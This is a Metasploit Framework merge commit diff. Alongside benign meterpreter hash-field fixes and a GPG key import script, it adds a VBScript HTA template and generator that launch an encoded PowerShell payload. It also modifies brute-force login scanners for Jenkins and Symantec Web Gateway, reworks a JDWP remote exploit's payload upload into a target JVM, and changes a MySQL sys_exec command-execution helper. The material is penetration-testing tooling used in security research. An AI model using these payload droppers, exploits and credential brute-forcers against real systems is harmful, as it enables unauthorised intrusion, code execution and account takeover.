Merge branch 'master' into land-5339-sleep

unstable
Brent Cook 2015-05-15 18:00:52 -05:00
commit fb3a2079f2
16 changed files with 236 additions and 118 deletions

View File

@ -19,6 +19,7 @@ define("TLV_TYPE_FILE_NAME", TLV_META_TYPE_STRING | 1201);
define("TLV_TYPE_FILE_PATH", TLV_META_TYPE_STRING | 1202);
define("TLV_TYPE_FILE_MODE", TLV_META_TYPE_STRING | 1203);
define("TLV_TYPE_FILE_SIZE", TLV_META_TYPE_UINT | 1204);
define("TLV_TYPE_FILE_HASH", TLV_META_TYPE_RAW | 1206);
define("TLV_TYPE_STAT_BUF", TLV_META_TYPE_COMPLEX | 1220);
@ -533,8 +534,7 @@ function stdapi_fs_md5($req, &$pkt) {
$md5 = md5(file_get_contents($path));
}
$md5 = pack("H*", $md5);
# Ghetto abuse of file name type to indicate the md5 result
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $md5));
return ERROR_SUCCESS;
}
}
@ -552,8 +552,7 @@ function stdapi_fs_sha1($req, &$pkt) {
$sha1 = sha1(file_get_contents($path));
}
$sha1 = pack("H*", $sha1);
# Ghetto abuse of file name type to indicate the sha1 result
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $sha1));
return ERROR_SUCCESS;
}
}

View File

@ -307,6 +307,7 @@ TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
@ -1011,7 +1012,7 @@ def stdapi_fs_md5(request, response):
m = md5.new()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
return ERROR_SUCCESS, response
@meterpreter.register_function
@ -1061,7 +1062,7 @@ def stdapi_fs_sha1(request, response):
m = sha.new()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
return ERROR_SUCCESS, response
@meterpreter.register_function

View File

@ -0,0 +1,7 @@
<script language="VBScript">
Set %{var_shell} = CreateObject("Wscript.Shell")
Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
If %{var_fso}.FileExists(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%") + "..\powershell.exe") Then
%{var_shell}.Run "%{powershell}"
End If
</script>

View File

@ -17,6 +17,10 @@ module Metasploit
self.uri = "/j_acegi_security_check" if self.uri.nil?
self.method = "POST" if self.method.nil?
if self.uri[0] != '/'
self.uri = "/#{self.uri}"
end
super
end
@ -37,15 +41,15 @@ module Metasploit
configure_http_client(cli)
cli.connect
req = cli.request_cgi({
'method'=>'POST',
'uri'=>'/j_acegi_security_check',
'method'=> method,
'uri'=> uri,
'vars_post'=> {
'j_username' => credential.public,
'j_password'=>credential.private
'j_password'=> credential.private
}
})
res = cli.send_recv(req)
if res && !res.headers['location'].include?('loginError')
if res && res.headers['location'] && !res.headers['location'].include?('loginError')
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)

View File

@ -169,7 +169,7 @@ module Auxiliary::Report
# @option opts [String] :user The username for the cred
# @option opts [String] :pass The private part of the credential (e.g. password)
def report_auth_info(opts={})
print_error "*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!"
print_warning("*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!")
return if not db
raise ArgumentError.new("Missing required option :host") if opts[:host].nil?
raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?)

View File

@ -162,8 +162,9 @@ module Exploit::Remote::MYSQL
end
def mysql_drop_and_create_sys_exec(soname)
res = mysql_query("DROP FUNCTION IF EXISTS sys_exec") # Already checked, actually
return false if res.nil?
# Just drop it. MySQL will always say "OK" anyway.
# See #5244
mysql_query("DROP FUNCTION IF EXISTS sys_exec")
res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'")
return false if res.nil?

View File

@ -276,12 +276,15 @@ module Msf
# @return [String] A string containing the bytes of the payload in the format selected
def generate_payload
if platform == "java" or arch == "java" or payload.start_with? "java/"
generate_java_payload
p = generate_java_payload
cli_print "Payload size: #{p.length} bytes"
p
else
raw_payload = generate_raw_payload
raw_payload = add_shellcode(raw_payload)
encoded_payload = encode_payload(raw_payload)
encoded_payload = prepend_nops(encoded_payload)
cli_print "Payload size: #{encoded_payload.length} bytes"
format_payload(encoded_payload)
end
end

View File

@ -1117,6 +1117,29 @@ require 'msf/core/exe/segment_appender'
method: 'reflection')
end
def self.to_powershell_hta(framework, arch, code)
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
arch,
template_path,
encode_final_payload: true,
remove_comspec: true,
method: 'reflection')
# Intialize rig and value names
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:var_shell)
rig.init_var(:var_fso)
hash_sub = rig.to_h
hash_sub[:powershell] = powershell
read_replace_script_template("to_powershell.hta.template", hash_sub)
end
def self.to_win32pe_vbs(framework, code, opts = {})
to_exe_vbs(to_win32pe(framework, code, opts), opts)
end
@ -1928,6 +1951,8 @@ require 'msf/core/exe/segment_appender'
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
when 'psh-cmd'
Msf::Util::EXE.to_powershell_command(framework, arch, code)
when 'hta-psh'
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
end
end
@ -1943,6 +1968,7 @@ require 'msf/core/exe/segment_appender'
"exe-only",
"exe-service",
"exe-small",
"hta-psh",
"loop-vbs",
"macho",
"msi",

View File

@ -152,8 +152,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
response = client.send_request(request)
# This is not really a file name, but a raw hash in bytes
return response.get_tlv_value(TLV_TYPE_FILE_NAME)
# older meterpreter binaries will send FILE_NAME containing the hash
hash = response.get_tlv_value(TLV_TYPE_FILE_HASH) ||
response.get_tlv_value(TLV_TYPE_FILE_NAME)
return hash
end
#
@ -166,8 +168,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
response = client.send_request(request)
# This is not really a file name, but a raw hash in bytes
return response.get_tlv_value(TLV_TYPE_FILE_NAME)
# older meterpreter binaries will send FILE_NAME containing the hash
hash = response.get_tlv_value(TLV_TYPE_FILE_HASH) ||
response.get_tlv_value(TLV_TYPE_FILE_NAME)
return hash
end
#

View File

@ -30,6 +30,7 @@ TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
TLV_TYPE_FILE_SHORT_NAME = TLV_META_TYPE_STRING | 1205
TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220

View File

@ -81,7 +81,7 @@ class Console::CommandDispatcher::Core
c["migrate"] = "Migrate the server to another process"
# UUID functionality isn't yet available on other platforms
c["uuid"] = "Get the UUID for the current session",
c["uuid"] = "Get the UUID for the current session"
# Yet to implement transport hopping for other meterpreters.
# Works for posix and native windows though.

View File

@ -23,6 +23,8 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('LOGIN_URL', [true, 'The URL that handles the login process', '/j_acegi_security_check']),
OptEnum.new('HTTP_METHOD', [true, 'The HTTP method to use for the login', 'POST', ['GET', 'POST']]),
Opt::RPORT(8080)
], self.class)
@ -44,6 +46,8 @@ class Metasploit3 < Msf::Auxiliary
scanner = Metasploit::Framework::LoginScanner::Jenkins.new(
configure_http_login_scanner(
uri: datastore['LOGIN_URL'],
method: datastore['HTTP_METHOD'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],

View File

@ -32,33 +32,32 @@ class Metasploit3 < Msf::Auxiliary
end
# Initializes CredentialCollection and SymantecWebGateway
def init(ip)
@cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
@scanner = Metasploit::Framework::LoginScanner::SymantecWebGateway.new(
configure_http_login_scanner(
host: ip,
port: datastore['RPORT'],
cred_details: @cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5
def scanner(ip)
@scanner ||= lambda {
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
)
end
return Metasploit::Framework::LoginScanner::SymantecWebGateway.new(
configure_http_login_scanner(
host: ip,
port: datastore['RPORT'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5
))
}.call
end
# Reports a good login credential
def do_report(ip, port, result)
def report_good_cred(ip, port, result)
service_data = {
address: ip,
port: port,
@ -86,39 +85,34 @@ class Metasploit3 < Msf::Auxiliary
end
def report_bad_cred(ip, rport, result)
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status,
proof: result.proof
)
end
# Attempts to login
def bruteforce(ip)
@scanner.scan! do |result|
scanner(ip).scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
do_report(ip, rport, result)
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
report_good_cred(ip, rport, result)
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
vprint_brute :level => :verror, :ip => ip, :msg => result.proof
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status,
proof: result.proof
)
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
report_bad_cred(ip, rport, result)
when Metasploit::Model::Login::Status::INCORRECT
vprint_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status,
proof: result.proof
)
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
report_bad_cred(ip, rport, result)
end
end
end
@ -126,9 +120,8 @@ class Metasploit3 < Msf::Auxiliary
# Start here
def run_host(ip)
init(ip)
unless @scanner.check_setup
print_brute :level => :error, :ip => ip, :msg => 'Target is not Symantec Web Gateway'
unless scanner(ip).check_setup
print_brute(:level => :error, :ip => ip, :msg => 'Target is not Symantec Web Gateway')
return
end

View File

@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote
SETSTATICVALUES_SIG = [3, 2]
INVOKESTATICMETHOD_SIG = [3, 3]
CREATENEWINSTANCE_SIG = [3, 4]
ARRAYNEWINSTANCE_SIG = [4, 1]
REFERENCETYPE_SIG = [9, 1]
INVOKEMETHOD_SIG = [9, 6]
STRINGVALUE_SIG = [10, 1]
@ -41,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
THREADSUSPEND_SIG = [11, 2]
THREADRESUME_SIG = [11, 3]
THREADSTATUS_SIG = [11, 4]
ARRAYSETVALUES_SIG = [13, 3]
EVENTSET_SIG = [15, 1]
EVENTCLEAR_SIG = [15, 2]
EVENTCLEARALL_SIG = [15, 3]
@ -173,13 +175,30 @@ class Metasploit3 < Msf::Exploit::Remote
# Reads packet response for JDWP protocol
def read_reply(timeout = default_timeout)
response = sock.get_once(-1, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
pktlen, id, flags, errcode = response.unpack('NNCn')
response.slice!(0..10)
if errcode != 0 && flags == REPLY_PACKET_TYPE
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}")
length = sock.get_once(4, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length
pkt_len = length.unpack('N')[0]
if pkt_len < 4
fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
end
pkt_len = pkt_len - 4
response = sock.get_once(pkt_len, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
while response.length < pkt_len
partial = sock.get_once(pkt_len, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
response << partial
end
fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length == pkt_len
id, flags, err_code = response.unpack('NCn')
response.slice!(0..6)
if err_code != 0 && flags == REPLY_PACKET_TYPE
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
end
response
end
@ -322,10 +341,6 @@ class Metasploit3 < Msf::Exploit::Remote
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
end
def is_java_eight
version.downcase =~ /1[.]8[.]/
end
# Returns reference for all threads currently running on target VM
def get_all_threads
sock.put(create_packet(ALLTHREADS_SIG))
@ -630,6 +645,36 @@ class Metasploit3 < Msf::Exploit::Remote
buf
end
# Creates a byte[]
def create_array(len)
target_class = get_class_by_name("[B")
fail_with(Failure::Unknown, "target_class is nil") if target_class.nil?
type_id = target_class["reftype_id"]
fail_with(Failure::Unknown, "type_id is nil") if type_id.nil?
data = format(@vars["referencetypeid_size"], type_id)
data << [len].pack('N')
sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))
buf = read_reply
buf
end
# Initializes the byte[] with values
def set_values(obj_id, args = [])
data = format(@vars["objectid_size"], obj_id)
data << [0].pack('N')
data << [args.length].pack('N')
args.each do |arg|
data << [arg].pack('C')
end
sock.put(create_packet(ARRAYSETVALUES_SIG, data))
read_reply
end
def temp_path
return nil unless datastore['TMP_PATH']
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
@ -709,43 +754,14 @@ class Metasploit3 < Msf::Exploit::Remote
# Stores the payload on a new string created in target VM
def upload_payload(thread_id, pl_exe)
size = @vars["objectid_size"]
if is_java_eight
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
else
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
end
unless buf[0] == [TAG_OBJECT].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
end
decoder = unformat(size, buf[1..1+size-1])
if decoder.nil? || decoder == 0
fail_with(Failure::Unknown, "Failed to create Base64 decoder object")
end
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
if cmd_obj_ids.length == 0
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
end
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
if is_java_eight
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B")
else
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
end
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
unless buf[0] == [TAG_ARRAY].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray")
end
buf = create_array(pl_exe.length)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C')
pl = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0)
set_values(pl, pl_exe.bytes)
pl
end

View File

@ -606,7 +606,7 @@ describe Msf::PayloadGenerator do
}
it 'calls generate_java_payload' do
payload_generator.should_receive(:generate_java_payload)
payload_generator.should_receive(:generate_java_payload).and_call_original
payload_generator.generate_payload
end
end

59
tools/dev/import-dev-keys.sh Executable file
View File

@ -0,0 +1,59 @@
#!/bin/bash
# Requires bash version 3 or so for regular expression pattern match
COMMITTER_KEYS_URL='https://raw.githubusercontent.com/wiki/rapid7/metasploit-framework/Committer-Keys.md'
KEYBASE_KEY_URLS=$(
\curl -sSL $COMMITTER_KEYS_URL |
\awk '$4 ~/https:\/\/keybase.io\//' |
\sed 's#.*\(https://keybase.io/[^)]*\).*#\1/key.asc#'
)
for key in $KEYBASE_KEY_URLS; do
echo Importing $key...
\curl -sSL $key | gpg --quiet --no-auto-check-trustdb --import -
done
# Exceptions -- keys that do show up in the logs, but aren't (yet) in Keybase:
# This should cover every key since May of 2014.
# Currently, one lone missing key:
#
# gpg: Signature made Mon 16 Feb 2015 02:09:53 PM CST using RSA key ID D5D50A02
# gpg: Can't check signature: public key not found
# 14da69c - Land #4757, adds RC for auto payload gen (3 months ago) <kernelsmith@github> []
#
# https://github.com/rapid7/metasploit-framework/commit/14da69c is
# harmless, though. It's only an RC script, not run by default, and it
# automates setting up a payload handler.
echo Processing exceptions...
MIT_KEYIDS="
Brandont 0xA3EE1B07
Ccatalan 0xC3953653
Farias 0x01DF79A1
Firefart 0x66BC32C7
HDM 0xFA604913
Jvennix 0x3E85A2B0
Kernelsmith 0x3D609E33
Lsanchez 0xFB80E8DD
OJ 0x1FAA5749
Sgonzalez 0xCA93BCE5
Shuckins 0x8C03C944
TheLightCosine 0x3A913DB2
Wvu 0xC1629024
"
MIT_KEY_URL_BASE="https://pgp.mit.edu/pks/lookup?op=get&search="
for key in $MIT_KEYIDS; do
if [[ $key =~ ^0x ]]
then
\curl -sSL $MIT_KEY_URL_BASE$key | gpg --quiet --no-auto-check-trustdb --import -
else
echo Importing key for $key...
fi
done